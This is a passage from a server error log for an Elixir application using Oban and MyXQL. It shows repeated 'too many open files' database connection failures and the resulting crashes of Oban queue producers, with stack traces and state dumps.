    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:38:27.239502Z], limit: 3, uuid: "72b9ea51-3b12-4735-a817-a39bcea5bae2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:27.239507Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65425>, refresh_timer: #Reference<0.2525715032.1099431938.65400>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:43.831000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:45.321000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:45.927000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:46.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:46.137000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:46.257000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:47.354000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:48.305000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:49.302000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:38:39.238782Z], limit: 10, uuid: "6a90d05e-1a70-4a1f-b50b-123b61b4ec3b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:39.238786Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65695>, refresh_timer: #Reference<0.2525715032.1099431938.65671>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:38:39.238671Z], limit: 5, uuid: "b2ae99a5-d1b2-4c47-9462-66ca9a16f677", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:39.238677Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65696>, refresh_timer: #Reference<0.2525715032.1099431938.65665>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:38:39.239635Z], limit: 5, uuid: "68e09d1c-b585-4ff5-bb80-e0c9545eec7d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:39.239641Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.47486>, refresh_timer: #Reference<0.2525715032.1121189889.209674>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:38:39.239199Z], limit: 50, uuid: "3d778bfb-85e7-4708-8060-c82fe31ed160", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:39.239204Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65697>, refresh_timer: #Reference<0.2525715032.1068498948.68774>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:38:39.238670Z], limit: 20, uuid: "27d7e3d1-6306-4b49-9173-f71235bfe210", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:39.238677Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.47485>, refresh_timer: #Reference<0.2525715032.1077673987.47466>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:38:39.239698Z], limit: 3, uuid: "3f4b448b-67b3-4e89-a382-1186a0e2b8e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:39.239704Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65698>, refresh_timer: #Reference<0.2525715032.1121189889.209677>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:57.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:59.130000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:01.728000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:02.450000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:38:51.240676Z], limit: 50, uuid: "f73e5a9c-de87-49bc-9601-3833b4c1249a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:51.240681Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.47559>, refresh_timer: #Reference<0.2525715032.1077673987.47548>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
